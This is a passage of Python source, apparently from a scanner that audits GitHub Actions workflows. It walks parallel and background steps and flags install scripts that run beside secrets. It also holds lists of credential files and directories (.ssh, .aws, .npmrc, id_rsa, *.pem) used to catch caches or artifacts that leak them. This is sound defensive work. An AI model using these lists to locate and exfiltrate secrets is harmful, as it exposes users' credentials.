- "coverage gap: %d workflow file(s) in the audited commit are absent "
- "from the working tree (partial/sparse checkout) and were NOT scanned",
- len(absent),
- )
- return sorted(absent)
- def _skill_commit_sha() -> str | None:
- """Return the HEAD SHA of the git repo containing this script.
- Used to build content-addressable permalinks into the catalog so
- reports never go stale when headings or files are renamed.
- """
- return _git_commit_sha(_THIS_DIR)
- def _skill_tree_dirty() -> bool:
- """True if the skill's tracked source has uncommitted changes vs HEAD.
- ``_skill_commit_sha()`` returns the committed HEAD, which silently ignores
- edits sitting in the working tree — so a report can record an older commit
- than the code that actually produced it (this exact gap once made a report
- claim a stale commit and derailed a review). Flagging a dirty tree keeps
- the recorded ``skill commit`` honest. The ``reports/`` output dir is
- excluded: the e2e harness writes generated reports into it, which is not a
- change to the code that ran.
- """
- skill_dir = _THIS_DIR.parent # skills/ci-secure/
- try:
- result = subprocess.run(
- ["git", "-C", str(skill_dir), "status", "--porcelain", "--", "."],
- capture_output=True, text=True, timeout=10,
- )
- if result.returncode != 0:
- return False
- except (FileNotFoundError, subprocess.TimeoutExpired):
- return False
- for raw in result.stdout.splitlines():
- path = raw[3:].strip() # porcelain v1: "XY <path>", relative to skill_dir
- if " -> " in path: # rename: take the destination
- path = path.split(" -> ", 1)[1]
- path = path.strip('"') # git quotes paths with spaces/special chars
- if not path or path.startswith("reports/"):
- continue
- return True
- return False
- def _repo_tree_dirty(root: Path) -> bool:
- """True if the AUDITED checkout has uncommitted or untracked changes.
- ``commit_sha`` records HEAD, which says nothing about edits sitting in the
- working tree — so a report can present a permalink at a commit whose bytes
- are not the bytes that were scanned. report.py renders a "tree was dirty"
- caveat on the audited-commit row when this is true (the convention ci-score
- already uses). Unknown (git missing, not a checkout) reports not-dirty:
- the commit row itself already says when no commit could be resolved.
- """
- try:
- result = subprocess.run(
- ["git", "-C", str(root), "status", "--porcelain"],
- capture_output=True, text=True, timeout=10,
- )
- except (FileNotFoundError, subprocess.TimeoutExpired):
- return False
- if result.returncode != 0:
- return False
- return bool(result.stdout.strip())
- def _path_matches_any_glob(rel_path: str, globs: list[str]) -> bool:
- for g in globs:
- if fnmatch.fnmatch(rel_path, g):
- return True
- return False
- # =============================================================================
- # yaml-job-correlated, yaml-workflow-correlated, repo-file-check
- # =============================================================================
- #
- # Each pattern using these detector classes names a built-in
- # "correlation" or "file_check" identifier in its METADATA. The
- # identifier maps to a Python function below. Keeps METADATA short
- # (one key) while letting the catalog opt into specific predicates
- # without growing a DSL.
- def _job_step_uses_prefixes(job: dict[str, Any], prefixes: tuple[str, ...]) -> list[int]:
- """Return 1-based ordinals, in walker (leaf) order, of the steps whose
- `uses:` starts with any prefix — not `steps:` positions."""
- hits: list[int] = []
- for i, step in enumerate(_job_steps(job), start=1):
- uses = step.get("uses", "")
- if isinstance(uses, str) and any(uses.startswith(p) for p in prefixes):
- hits.append(i)
- return hits
- def _job_uses_cache(job: dict[str, Any]) -> bool:
- """Return True when the job restores or writes the shared cache.
- Covers `actions/cache@*`, `actions/cache/restore@*`, `actions/cache/save@*`,
- `actions/setup-{node,python,go,java,ruby,dotnet}` with `cache:` input,
- `pnpm/action-setup`, and `gradle/actions/setup-gradle`.
- """
- if _job_step_uses_prefixes(
- job,
- ("actions/cache@", "actions/cache/", "pnpm/action-setup", "gradle/actions/setup-gradle"),
- ):
- return True
- for step in _job_steps(job):
- uses = step.get("uses", "")
- if not isinstance(uses, str):
- continue
- if any(
- uses.startswith(p)
- for p in (
- "actions/setup-node@",
- "actions/setup-python@",
- "actions/setup-go@",
- "actions/setup-java@",
- "actions/setup-ruby@",
- "actions/setup-dotnet@",
- )
- ):
- with_block = step.get("with") or {}
- if isinstance(with_block, dict) and with_block.get("cache"):
- return True
- return False
- def _walk_jobs(doc: Any) -> Iterator[tuple[str, dict[str, Any]]]:
- jobs = doc.get("jobs") if isinstance(doc, dict) else None
- if not isinstance(jobs, dict):
- return
- for job_name, job in jobs.items():
- if isinstance(job, dict):
- yield str(job_name), job
- # --- the one step walker -----------------------------------------------------
- #
- # GitHub Actions parallel steps (2026-06-25): a step may be `- parallel:`
- # followed by a LIST of ordinary child steps, and a job may carry pure control
- # steps (`wait:`, `wait-all:`, `cancel:`) with no `run:` and no `uses:`. The
- # `parallel:` entry itself has neither key, so every detector that walked
- # `job.steps` as a flat list skipped every child step in silence — a template
- # injection or a curl|bash written inside a parallel group read as clean.
- # Every detector that walks a job's steps reads them through
- # `_iter_job_steps`, so the next step syntax is taught in three walkers that
- # must agree (`_iter_job_steps`, its node twin `_iter_step_nodes`, and
- # `_step_spans`, which pairs the two), not twenty.
- _PARALLEL_KEY = "parallel"
- _PARALLEL_CONTROL_KEYS = frozenset({"wait", "wait-all", "cancel"})
- @dataclass(frozen=True)
- class _JobStep:
- """One leaf step, as the job declares it."""
- step: dict[str, Any]
- path: tuple[int, ...] # 0-based index at each nesting level
- in_parallel_group: bool
- # Possibly running in the background: the step, or a group holding it,
- # carries any `background:` value but a literal `false` (fail safe).
- background: bool
- group: dict[str, Any] | None # innermost enclosing `parallel:` entry
- # Every enclosing `parallel:` entry, outermost first.
- groups: tuple[dict[str, Any], ...] = ()
- # The `id:` a top-level `wait:` names to join this background step: its
- # own when it is itself background, else the innermost background group's.
- background_id: Any = None
- @property
- def gated(self) -> bool:
- """The step, or a parallel group holding it, has its own `if:`."""
- return self.step.get("if") is not None or any(
- g.get("if") is not None for g in self.groups)
- @property
- def group_continue_on_error(self) -> bool:
- """A group holding the step is written `continue-on-error: true`; a
- failure of the step is then swallowed as surely as its own would be."""
- return any(g.get("continue-on-error") is True for g in self.groups)
- @property
- def label(self) -> str:
- """1-based position, dotted through groups: step 3.2 = group 3, child 2."""
- return ".".join(str(i + 1) for i in self.path)
- @dataclass
- class _StepWalkStats:
- """What the walker saw beyond plain steps, for the report to disclose."""
- in_parallel: int = 0
- control: int = 0
- background: int = 0
- # (dotted step label, shape) per group the walker could not read as
- # written; shape is one of the _GROUP_* constants below.
- malformed: list[tuple[str, str]] | None = None
- _GROUP_NOT_A_LIST = "not-a-list"
- _GROUP_TOO_DEEP = "too-deep"
- _GROUP_ALSO_A_STEP = "also-a-step"
- _GROUP_ALSO_A_STEP_NOT_A_LIST = "also-a-step-not-a-list"
- _GROUP_ALSO_A_STEP_TOO_DEEP = "also-a-step-too-deep"
- _GROUP_CHILD_NOT_A_STEP = "child-not-a-step"
- _GROUP_UNKNOWN_KEY = "unknown-key"
- _STEP_BACKGROUND_EXPRESSION = "background-expression"
- # Keys on a `parallel:` entry this scan models. GitHub has not documented
- # which keys a group accepts; any other key is disclosed, not ignored.
- _GROUP_KNOWN_KEYS = frozenset({_PARALLEL_KEY, "if", "name", "id",
- "continue-on-error", "background"})
- def _may_run_in_background(entry: dict[str, Any]) -> bool:
- """Fail safe: only an absent `background:` or a literal `false` proves the
- entry finishes before the next step; `"true"`, `null` and an expression
- all may leave it running."""
- return "background" in entry and entry["background"] is not False
- def _note_background_expression(stats: _StepWalkStats | None,
- path: tuple[int, ...],
- entry: dict[str, Any]) -> None:
- value = entry.get("background")
- if isinstance(value, str) and "${{" in value:
- _note_malformed(stats, path, _STEP_BACKGROUND_EXPRESSION)
- def _is_parallel_group(step: dict[str, Any]) -> bool:
- return _PARALLEL_KEY in step and "run" not in step and "uses" not in step
- def _is_step_with_group(step: dict[str, Any]) -> bool:
- """`parallel:` beside `run:` / `uses:` — not a shape GitHub accepts. Its
- own command is scanned as a step AND its children are walked, so neither
- half hides behind the other."""
- return _PARALLEL_KEY in step and ("run" in step or "uses" in step)
- def _note_malformed(stats: _StepWalkStats | None, path: tuple[int, ...],
- shape: str) -> None:
- if stats is not None:
- if stats.malformed is None:
- stats.malformed = []
- stats.malformed.append((".".join(str(n + 1) for n in path), shape))
- def _is_control_step(step: dict[str, Any]) -> bool:
- return ("run" not in step and "uses" not in step
- and _PARALLEL_KEY not in step
- and any(k in step for k in _PARALLEL_CONTROL_KEYS))
- def _iter_job_steps(
- job: Any, stats: _StepWalkStats | None = None,
- ) -> Iterator[_JobStep]:
- """Every leaf step of a job, in declaration order.
- Descends into `parallel:` lists (nesting is not documented by GitHub; it
- is descended anyway: skipping it would be the silent drop this walker
- exists to end). Control steps carry nothing to scan and are
- skipped, but counted in ``stats``. A `parallel:` whose value is not a list,
- or that sits ``_WALK_MAX_DEPTH`` groups deep, cannot be read; a `parallel:`
- beside `run:` / `uses:` is read both ways (the step itself, then its
- children). All three are recorded in ``stats.malformed`` — the caller that
- owns disclosure turns each into a coverage note, never a clean step.
- """
- steps = job.get("steps") if isinstance(job, dict) else None
- if isinstance(steps, list):
- yield from _iter_step_list(steps, (), (), stats, 0,
- _WalkGuard({id(steps)}))
- # A YAML alias can make a step list hold itself (`steps: &s [..., {parallel:
- # *s}]`), or hold the level below it twice at every level: the depth cap alone
- # bounds neither (2**64 leaves). Each walk of one job therefore refuses to
- # re-enter a list already on its path, and stops descending once it has
- # visited `_WALK_MAX_ENTRIES` entries. Both walkers apply the same guard at the
- # same points, entry for entry, so they stay in lockstep.
- _WALK_MAX_ENTRIES = 10_000
- _GROUP_CYCLE = "cycle"
- _GROUP_OVER_BUDGET = "over-budget"
- @dataclass
- class _WalkGuard:
- on_path: set[int]
- entries: int = 0
- over_budget_noted: bool = False
- def blocked(self, children: Any) -> str | None:
- """Why this group's children must not be descended, if they must not."""
- if id(children) in self.on_path:
- return _GROUP_CYCLE
- if self.entries >= _WALK_MAX_ENTRIES:
- return _GROUP_OVER_BUDGET
- return None
- def _note_blocked(stats: _StepWalkStats | None, path: tuple[int, ...],
- guard: _WalkGuard, why: str) -> None:
- if why == _GROUP_OVER_BUDGET:
- if guard.over_budget_noted: # one note per walk, not thousands
- return
- guard.over_budget_noted = True
- _note_malformed(stats, path, why)
- def _iter_step_list(
- steps: list[Any], prefix: tuple[int, ...],
- groups: tuple[dict[str, Any], ...], stats: _StepWalkStats | None,
- depth: int, guard: _WalkGuard,
- ) -> Iterator[_JobStep]:
- group = groups[-1] if groups else None
- for i, step in enumerate(steps):
- guard.entries += 1
- path = prefix + (i,)
- if not isinstance(step, dict):
- if group is not None:
- # A nested list or a bare string inside a group is not a
- # step; skipping it in silence read it as clean.
- _note_malformed(stats, path, _GROUP_CHILD_NOT_A_STEP)
- continue
- if _is_parallel_group(step):
- if any(k not in _GROUP_KNOWN_KEYS for k in step):
- _note_malformed(stats, path, _GROUP_UNKNOWN_KEY)
- _note_background_expression(stats, path, step)
- children = step.get(_PARALLEL_KEY)
- if not isinstance(children, list):
- _note_malformed(stats, path, _GROUP_NOT_A_LIST)
- elif depth >= _WALK_MAX_DEPTH:
- _note_malformed(stats, path, _GROUP_TOO_DEEP)
- elif (why := guard.blocked(children)) is not None:
- _note_blocked(stats, path, guard, why)
- else:
- guard.on_path.add(id(children))
- yield from _iter_step_list(children, path, groups + (step,),
- stats, depth + 1, guard)
- guard.on_path.discard(id(children))
- continue
- if _is_control_step(step):
- if stats is not None:
- stats.control += 1
- continue
- _note_background_expression(stats, path, step)
- own_background = _may_run_in_background(step)
- background_id = step.get("id") if own_background else next(
- (g.get("id") for g in reversed(groups)
- if _may_run_in_background(g)), None)
- background = own_background or any(
- _may_run_in_background(g) for g in groups)
- if stats is not None:
- stats.in_parallel += group is not None
- # A group's child is counted in `in_parallel` only, background
- # or not (scan-output.md), so no step is counted twice.
- stats.background += own_background and group is None
- yield _JobStep(step=step, path=path, in_parallel_group=group is not None,
- background=background, group=group, groups=groups,
- background_id=background_id)
- if _is_step_with_group(step):
- children = step.get(_PARALLEL_KEY)
- if not isinstance(children, list):
- _note_malformed(stats, path, _GROUP_ALSO_A_STEP_NOT_A_LIST)
- elif depth >= _WALK_MAX_DEPTH:
- _note_malformed(stats, path, _GROUP_ALSO_A_STEP_TOO_DEEP)
- elif (why := guard.blocked(children)) is not None:
- _note_blocked(stats, path, guard, why)
- else:
- _note_malformed(stats, path, _GROUP_ALSO_A_STEP)
- guard.on_path.add(id(children))
- yield from _iter_step_list(children, path, groups + (step,),
- stats, depth + 1, guard)
- guard.on_path.discard(id(children))
- def _job_steps(job: Any) -> list[dict[str, Any]]:
- """The leaf step dicts of a job, for callers that need nothing else."""
- return [s.step for s in _iter_job_steps(job)]
- # Declaration order is not execution order once a job uses `parallel:` or
- # `background:`. Siblings in one group run at the same time (the group ends
- # with an implicit wait, so they are finished before the next top-level step),
- # and a background step keeps running past the steps declared after it until
- # a top-level `wait-all:` (empty or literally `true`) or a `wait:` naming its
- # `id` (anything else — `cancel:`, `wait-all: false`, an expression — is
- # treated as still running: fail safe). A step is background when it, or a
- # group holding it, carries any `background:` value but a literal `false`. A
- # child that is itself background is treated as running past the group's end,
- # until a top-level wait (fail safe). The detectors that reason about ORDER
- # answer with this, and over-report rather than miss: "did X run after the
- # checkout/fetch?" counts a concurrent X as after, and "did protection P
- # finish before the install?" counts P only when it is declared earlier AND
- # not concurrent with the install. With neither syntax present nothing is
- # concurrent and every answer is the declaration order.
- @dataclass(frozen=True)
- class _StepTiming:
- top: int # index of the top-level `steps:` entry
- grouped: bool # a child of a `parallel:` group
- # background only: index of the top-level wait that joins it, or
- # len(steps) when none does; None when not background.
- until: int | None
- def _joins_all(control: dict[str, Any]) -> bool:
- """`wait-all:` written empty or literally `true`; `false` or an
- expression proves nothing has finished."""
- return "wait-all" in control and control["wait-all"] in (None, True)
- def _step_timing(job_step: _JobStep, steps: list[Any]) -> _StepTiming:
- top = job_step.path[0]
- until: int | None = None
- if job_step.background:
- until = len(steps)
- sid = job_step.background_id
- for j in range(top + 1, len(steps)):
- s = steps[j]
- if not (isinstance(s, dict) and _is_control_step(s)):
- continue
- waits = s.get("wait")
- waits = waits if isinstance(waits, list) else [waits]
- if _joins_all(s) or (
- sid is not None and str(sid) in [str(w) for w in waits]):
- until = j
- break
- return _StepTiming(top, job_step.in_parallel_group, until)
- def _steps_concurrent(a: _StepTiming, b: _StepTiming) -> bool:
- """Two DIFFERENT leaf steps of one job may be running at the same time."""
- if a.top > b.top:
- a, b = b, a
- if a.top == b.top:
- return a.grouped and b.grouped
- return a.until is not None and b.top < a.until
- def _job_step_timings(job: Any) -> list[tuple[_JobStep, _StepTiming]]:
- steps = job.get("steps") if isinstance(job, dict) else None
- if not isinstance(steps, list):
- return []
- return [(s, _step_timing(s, steps)) for s in _iter_job_steps(job)]
- @dataclass(frozen=True)
- class _StepSpan:
- """A leaf step's source lines, with its timing, for line-based detectors."""
- job: str
- start_line: int
- end_line: int
- timing: _StepTiming
- def _step_spans(text: str,
- unmatched: list[str] | None = None) -> list[_StepSpan]:
- """Every leaf step's source span, for each job that holds at least one
- grouped or background step.
- Empty (and nothing is parsed) unless the text contains the word
- `parallel` or `background`, so plain workflows keep their exact
- behaviour. Jobs are found by `_job_nodes` (keyed as the loader keys them)
- and keys resolve through `_node_keys`, so `<<:` merges at the job or the
- step level are followed; each leaf is paired by position with its node
- from `_iter_step_nodes`, the lockstep twin of `_iter_job_steps`. A job
- that holds concurrent steps but whose nodes cannot be paired is named in
- ``unmatched`` — its concurrency would otherwise fall back to declaration
- order in silence.
- """
- if "parallel" not in text and "background" not in text:
- return []
- try:
- doc = yaml.safe_load(text)
- except yaml.YAMLError:
- return []
- if not (isinstance(doc, dict) and isinstance(doc.get("jobs"), dict)):
- return []
- job_nodes = _job_nodes(text)
- out: list[_StepSpan] = []
- for name, job in doc["jobs"].items():
- timings = _job_step_timings(job)
- if not any(t.grouped or t.until is not None for _, t in timings):
- continue
- job_node = job_nodes.get(name)
- nodes = list(_iter_step_nodes(
- _node_keys(job_node).get("steps")
- if isinstance(job_node, yaml.MappingNode) else None))
- if len(nodes) != len(timings):
- if unmatched is not None:
- unmatched.append(str(name))
- continue
- for (_, timing), node in zip(timings, nodes):
- out.append(_StepSpan(str(name), node.start_mark.line + 1,
- node.end_mark.line + 1, timing))
- return out
- def _lines_concurrent(spans: list[_StepSpan], a: int, b: int) -> bool:
- """The steps holding source lines `a` and `b` may run at the same time.
- Lines of ONE step are ordered by line as before."""
- def _at(line: int) -> _StepSpan | None:
- # A node's end mark can sit on the next step's first line, so the
- # last span in declaration order that CONTAINS the line is the one
- # holding it.
- return next((s for s in reversed(spans)
- if s.start_line <= line <= s.end_line), None)
- sa, sb = _at(a), _at(b)
- return (sa is not None and sb is not None and sa is not sb
- and sa.job == sb.job and _steps_concurrent(sa.timing, sb.timing))
- def _iter_step_nodes(steps_node: Any, depth: int = 0,
- guard: _WalkGuard | None = None) -> Iterator[Any]:
- """The composed-node twin of `_iter_job_steps`: every leaf step MappingNode
- of a `steps:` SequenceNode, in order, descending into `parallel:` lists, so
- a child step's source line is the child's own. Must yield exactly the
- leaves `_iter_step_list` yields, in the same order, with the same depth
- cap and the same `_WalkGuard` (cycle and entry budget): line attribution
- pairs the two by position."""
- if not isinstance(steps_node, yaml.SequenceNode):
- return
- if guard is None:
- guard = _WalkGuard({id(steps_node)})
- def _descend(children: Any) -> Iterator[Any]:
- if not isinstance(children, yaml.SequenceNode) \
- or depth >= _WALK_MAX_DEPTH or guard.blocked(children):
- return
- guard.on_path.add(id(children))
- yield from _iter_step_nodes(children, depth + 1, guard)
- guard.on_path.discard(id(children))
- for node in steps_node.value:
- guard.entries += 1
- if not isinstance(node, yaml.MappingNode):
- continue
- keys = _node_keys(node)
- if _PARALLEL_KEY in keys and "run" not in keys and "uses" not in keys:
- yield from _descend(keys[_PARALLEL_KEY])
- continue
- if "run" not in keys and "uses" not in keys \
- and any(k in keys for k in _PARALLEL_CONTROL_KEYS):
- continue
- yield node
- if _PARALLEL_KEY in keys:
- yield from _descend(keys[_PARALLEL_KEY])
- def _node_keys(node: Any) -> dict[Any, Any]:
- """A composed mapping's keys, with `<<:` merges resolved the way the
- loader resolves them (own keys win, then earlier merge sources), so the
- node walker sees the same shape as the loaded dict."""
- own: dict[Any, Any] = {}
- merged: dict[Any, Any] = {}
- for k, v in node.value:
- key = getattr(k, "value", None)
- if key == "<<" and getattr(k, "tag", "") == "tag:yaml.org,2002:merge":
- sources = v.value if isinstance(v, yaml.SequenceNode) else [v]
- for src in sources:
- if isinstance(src, yaml.MappingNode):
- for mk, mv in _node_keys(src).items():
- merged.setdefault(mk, mv)
- else:
- own[key] = v
- merged.update(own)
- return merged
- def _job_nodes(text: str) -> dict[Any, Any]:
- """Each job's composed node, keyed exactly as `yaml.safe_load` keys the
- job (a `yes:` job is `True`, not "yes"), with `<<:` merges and duplicate
- keys resolved the way the loader resolves them. Empty when the text does
- not compose."""
- try:
- root = yaml.compose(text)
- except yaml.YAMLError:
- return {}
- jobs = _node_keys(root).get("jobs") if isinstance(
- root, yaml.MappingNode) else None
- if not isinstance(jobs, yaml.MappingNode):
- return {}
- loader = yaml.SafeLoader("")
- own: dict[Any, Any] = {}
- merged: dict[Any, Any] = {}
- def _key(k: Any) -> Any:
- try:
- key = loader.construct_object(k, deep=True)
- hash(key)
- return key
- except Exception: # unhashable or unconstructable
- return None
- for k, v in jobs.value:
- if getattr(k, "tag", "") == "tag:yaml.org,2002:merge":
- sources = v.value if isinstance(v, yaml.SequenceNode) else [v]
- for src in sources:
- if isinstance(src, yaml.MappingNode):
- for mk, mv in src.value:
- merged.setdefault(_key(mk), mv)
- continue
- own[_key(k)] = v
- merged.update(own)
- merged.pop(None, None)
- return merged
- # Raw-text checks read a file's text whatever its step shape, so text the
- # walker could not read as steps may still have been matched by one of them;
- # no sentence here claims that NO detector saw it.
- _NOT_READ_AS_STEPS = ("was not read as steps; some raw-text checks may still "
- "have matched inside it — review it manually")
- _GROUP_GAP_SENTENCE = {
- _GROUP_NOT_A_LIST: (
- "is a `parallel:` group whose value is not a list of steps, so it "
- + _NOT_READ_AS_STEPS),
- _GROUP_TOO_DEEP: (
- "is a `parallel:` group nested more than {depth} groups "
- "deep, so it " + _NOT_READ_AS_STEPS),
- _GROUP_ALSO_A_STEP: (
- "is a `parallel:` group that also carries `run:`/`uses:`, which "
- "GitHub does not accept; its own command and its child steps were "
- "scanned, but review it manually"),
- _GROUP_ALSO_A_STEP_NOT_A_LIST: (
- "is a step that also carries `parallel:`, which GitHub does not "
- "accept; its own command was scanned, but its `parallel:` value is "
- "not a list of steps, so that value " + _NOT_READ_AS_STEPS),
- _GROUP_ALSO_A_STEP_TOO_DEEP: (
- "is a step that also carries `parallel:`, which GitHub does not "
- "accept; its own command was scanned, but it sits more than {depth} "
- "groups deep, so its `parallel:` value " + _NOT_READ_AS_STEPS),
- _GROUP_CHILD_NOT_A_STEP: (
- "is an entry of a `parallel:` group that is not a step (a mapping), "
- "so it " + _NOT_READ_AS_STEPS),
- _GROUP_UNKNOWN_KEY: (
- "is a `parallel:` group carrying a key other than `parallel:`, "
- "`if:`, `name:`, `id:`, `continue-on-error:` or `background:`; its "
- "child steps were scanned, but what that key does to them was not "
- "modelled — review it manually"),
- _GROUP_CYCLE: (
- "is a `parallel:` group whose steps are, through a YAML alias, a list "
- "that already holds this group, so it was not entered again; it "
- + _NOT_READ_AS_STEPS),
- _GROUP_OVER_BUDGET: (
- f"is where the walk of this job passed {_WALK_MAX_ENTRIES:,} step "
- "entries (YAML aliases can repeat one group many times), so this "
- "group and every later group in the job " + _NOT_READ_AS_STEPS),
- _STEP_BACKGROUND_EXPRESSION: (
- "has a `background:` value chosen at run time; it was scanned, and "
- "treated as running in the background until a top-level `wait:` "
- "naming it or `wait-all:` — review it manually"),
- }
- def _parallel_step_stats(
- file_path: Path,
- ) -> tuple[_StepWalkStats, list[str]]:
- """One file's parallel-step census, and a sentence per unreadable group.
- Run once per workflow by `scan()`, separately from the detectors, so the
- counts are not multiplied by the number of detectors that walk steps.
- """
- stats = _StepWalkStats()
- gaps: list[str] = []
- text = _read_text_safe(file_path)
- doc = _parse_yaml_text(text, file_path, quiet=True) if text else None
- for job_name, job in _walk_jobs(doc):
- before = len(stats.malformed or [])
- for _ in _iter_job_steps(job, stats):
- pass
- for label, shape in (stats.malformed or [])[before:]:
- gaps.append(f"jobs.{job_name} step {label} "
- + _GROUP_GAP_SENTENCE[shape].format(
- depth=_WALK_MAX_DEPTH))
- unmatched: list[str] = []
- if text:
- _step_spans(text, unmatched)
- for job_name in unmatched:
- gaps.append(
- f"jobs.{job_name} holds `parallel:` or background steps whose "
- "source lines could not be found, so which of its steps may run "
- "at the same time was not modelled and the order-dependent "
- "checks fell back to declaration order — review it manually")
- return stats, gaps
- def _job_line_in_text(text: str, job_name: str) -> int:
- """Best-effort line number for `<job_name>:` under the top-level `jobs:`.
- The indent class is `[ \\t]`, NOT `\\s`. Under `re.MULTILINE`, `\\s` matches
- a newline, so `^\\s+` could start at a BLANK line and run through the line
- break into the next line's indentation — and `m.start()` then reported the
- blank line above the job key. On cal.com's `pr.yml` that landed the
- reported line inside the PRECEDING job's block, so a P14.19 finding cited
- `jobs.trust-check` at line 160 while its own evidence named `jobs.prepare`.
- A horizontal-only indent class cannot cross a line boundary, so the match
- always starts on the job key's own line.
- """
- pattern = re.compile(rf"^[ \t]+{re.escape(job_name)}\s*:", re.MULTILINE)
- m = pattern.search(text)
- if not m:
- return 1
- return text.count("\n", 0, m.start()) + 1
- _CREDENTIAL_DIR_COMPONENTS = {
- ".aws", ".ssh", ".kube", ".docker", ".gnupg", ".azure", ".gcloud",
- }
- _CREDENTIAL_BASENAMES = {
- ".npmrc", ".netrc", ".pypirc", "credentials", "credentials.json", ".env",
- }
- _CREDENTIAL_BASENAME_GLOBS = (
- "*.pem", "*.key", "id_rsa", "id_rsa*", "id_ed25519", "id_ed25519*",
- "service-account*.json", "*.p12", "*.pfx",
- )
- _CACHE_UPLOAD_PREFIXES = (
- "actions/cache@", "actions/cache/save@", "actions/cache/restore@",
- "actions/upload-artifact@", "actions/upload-pages-artifact@",
- )
- def _path_is_credential_bearing(path_line: str) -> bool:
- p = path_line.strip().strip('"').strip("'")
- if not p:
- return False
- components = [c for c in re.split(r"[\\/]+", p) if c not in ("", "~", ".")]
- if not components:
- return False
- if any(c.lower() in _CREDENTIAL_DIR_COMPONENTS for c in components):
- return True
- base = components[-1].lower()
- if base in _CREDENTIAL_BASENAMES:
- return True
- return any(fnmatch.fnmatch(base, g) for g in _CREDENTIAL_BASENAME_GLOBS)
- def _correlation_credential_file_in_cache_or_artifact(
- file_path: Path,
- ) -> Iterator[RawHit]:
- """P14.19 — a cache or upload step's `path:` matches a known credential
- file/dir, exfiltrating it to cache-restorers / artifact-downloaders."""
- text = _read_text_safe(file_path)
- if not text:
- return
- doc = _parse_yaml_text(text, file_path)
- if not isinstance(doc, dict):
- return
- for job_name, job in _walk_jobs(doc):
- for step in _job_steps(job):
- uses = step.get("uses", "")
- if not isinstance(uses, str) or not any(
- uses.startswith(p) for p in _CACHE_UPLOAD_PREFIXES
- ):
- continue
- with_block = step.get("with") or {}
- if not isinstance(with_block, dict):
- continue
- raw_path = with_block.get("path")
- if not isinstance(raw_path, str):
- continue
- hit_line = next(
- (
- pl.strip() for pl in raw_path.splitlines()
- if _path_is_credential_bearing(pl)
- ),
- None,
- )
- if hit_line is not None:
- line = _job_line_in_text(text, job_name)
- yield RawHit(
- line=line,
- evidence=(
- f"{line:>4}: jobs.{job_name} caches/uploads "
- f"credential-bearing path `{hit_line}` <-- here"
- ),
- match_text=hit_line,
- derived=True,
- )
- # --- P14.25: install scripts executed in a job that holds a live payoff -------
- #
- # Conditioned like the other chain detectors, NOT like a hygiene check: an
- # install command on its own is every repo's CI and flagging it would be noise.
- # The finding is the PAIRING — dependency lifecycle scripts executing where the
- # credentials are.
- # `npm ci`, `npm install`, `npm i`, `pnpm install`, `pnpm i`, `yarn install`,
- # and a bare `yarn` (Yarn Classic installs when called with no command). Bounded
- # on both sides so `mynpm install` or `yarn build` never match.
- #
- # The bare-Yarn arm accepts OPTIONS after `yarn`, because that is how it is
- # actually written in CI — `yarn --frozen-lockfile`, `yarn --production`,
- # `yarn --cwd packages/app`, `yarn --network-timeout 600000` are all installs,
- # and an arm that only accepted a bare `yarn` at end-of-command silently
- # passed over every one of them. An option's separate VALUE is consumed with
- # it (`--cwd subdir`), quoted or not (`--cwd "packages/app with spaces"`),
- # which is what stops the match dying on the space.
- # A trailing SUBCOMMAND still ends the match — `yarn build` and
- # `yarn --cwd subdir build` are not installs, because after the options the
- # arm requires end-of-command, not another word — and the leading negative
- # lookahead drops the informational invocations (`yarn -v`, `yarn -V`,
- # `yarn --version`, `yarn --help`), which run no lifecycle scripts.
- #
- # EVERY arm is additionally anchored in COMMAND POSITION — the manager name has
- # to be the word the shell would actually execute, never a word sitting inside
- # an argument. The old left boundary was a `(?<![\w./-])` lookbehind, which
- # excludes `mynpm` but says nothing about `,` or `=`, so vitejs/vite's
- # `pnpm dlx pkg-pr-new@0.0 publish … --packageManager=pnpm,npm,yarn
- # --commentWithDev` matched the bare-Yarn arm on the `yarn` in that
- # comma-separated flag VALUE. It matched as `yarn --commentWithDev`, the job's
- # manager was read as Yarn, and the cascade from there was total: the repo's
- # real pnpm `allowBuilds` mitigation no longer applied (manager mismatch), a
- # Yarn advisory rendered on a repo with no Yarn in it, and the fix prompt
- # prescribed destructive Yarn edits to a release workflow. `,` and `=` are only
- # two of the characters that can precede a word inside an argument, so the fix
- # is positional rather than another blacklist: a command starts at the start of
- # the string/line or right after `;`, `&`, `|`, or `(` — nowhere else.
- # The one non-shell opener that still puts a command in command position: this
- # matcher is run over RAW workflow lines as well as over parsed scalars, and on
- # a one-line step (`- run: npm ci`) the shell starts right after the `run:` key.
- _RUN_KEY_PREFIX = r"""[ \t]*(?:-[ \t]+)?["']?run["']?[ \t]*:[ \t]*"""
- # `)` closes a `case` arm's pattern (`a) npm ci ;;`) and a subshell; `{` opens a
- # brace group, which shell requires be followed by whitespace (`{ npm ci; }`) —
- # demanding that space is also what keeps brace EXPANSION (`{npm,pnpm}`) out.
- _CMD_START = (
- r"(?:^(?:" + _RUN_KEY_PREFIX + r")?[ \t]*"
- r"|(?<=[\n;&|()])[ \t]*"
- r"|(?<=\{)[ \t]+)"
- )
- # …with the words that can legally precede a command WITHOUT being it: shell
- # keywords, the usual command-modifier wrappers, and leading `VAR=value`
- # assignments. Without this allowance `sudo npm ci`, `env CI=1 pnpm install`
- # and `; then yarn install` would each become a silent false negative, which is
- # the worse failure for this detector (see `_INSTALL_VALUE_FLAGS`).
- #
- # The list is deliberately CLOSED, and is spelled as data rather than inlined
- # into the regex so that closedness is ASSERTABLE. Written as a bare
- # alternation nothing pinned it: `echo` could be added and the whole suite
- # still passed, because the negative cases all put their install several words
- # from the head. `test_the_command_wrapper_list_is_closed` pins this exact set.
- #
- # Membership rule: a word belongs here only if it is a TRANSPARENT process
- # wrapper — it execs the following command in the SAME shell environment, with
- # the same filesystem and the same secrets. That is the property P14.25's
- # payoff leg rests on, and it is why `docker exec` / `docker run` are absent:
- # the install runs in a container, not in the job that holds the secrets.
- _CMD_WRAPPERS = (
- # shell keywords and the negation operator
- "!", "if", "while", "until", "then", "else", "do",
- # transparent command modifiers / process wrappers
- "sudo", "command", "time", "nice", "ionice", "exec", "env",
- "xvfb-run", "nohup", "setsid", "stdbuf", "timeout", "retry",
- )
- # Every piece below has exactly ONE way to read any text. Earlier forms offered
- # two (a bare value that also matched quotes, `--a` as `-`+`-a` or `--`+`a`, an
- # option value that could also be the next wrapper word), and inside the outer
- # repeat a line of repeated `_="" ` made `search()` backtrack exponentially and
- # freeze the scan. Each exclusion below drops a parse that ANOTHER branch
- # reaches at the same position in the same state, so the set of matches, and
- # the order they are tried in, stays what it was; `test_cmd_prefix_redos.py`
- # pins the agreement with the old form and the linear time.
- #
- # A bare run that opens a quoted string the quoted branch can read to its
- # end (`""`, `'a'`, `" A="`, spaces included) is left to the quoted branch.
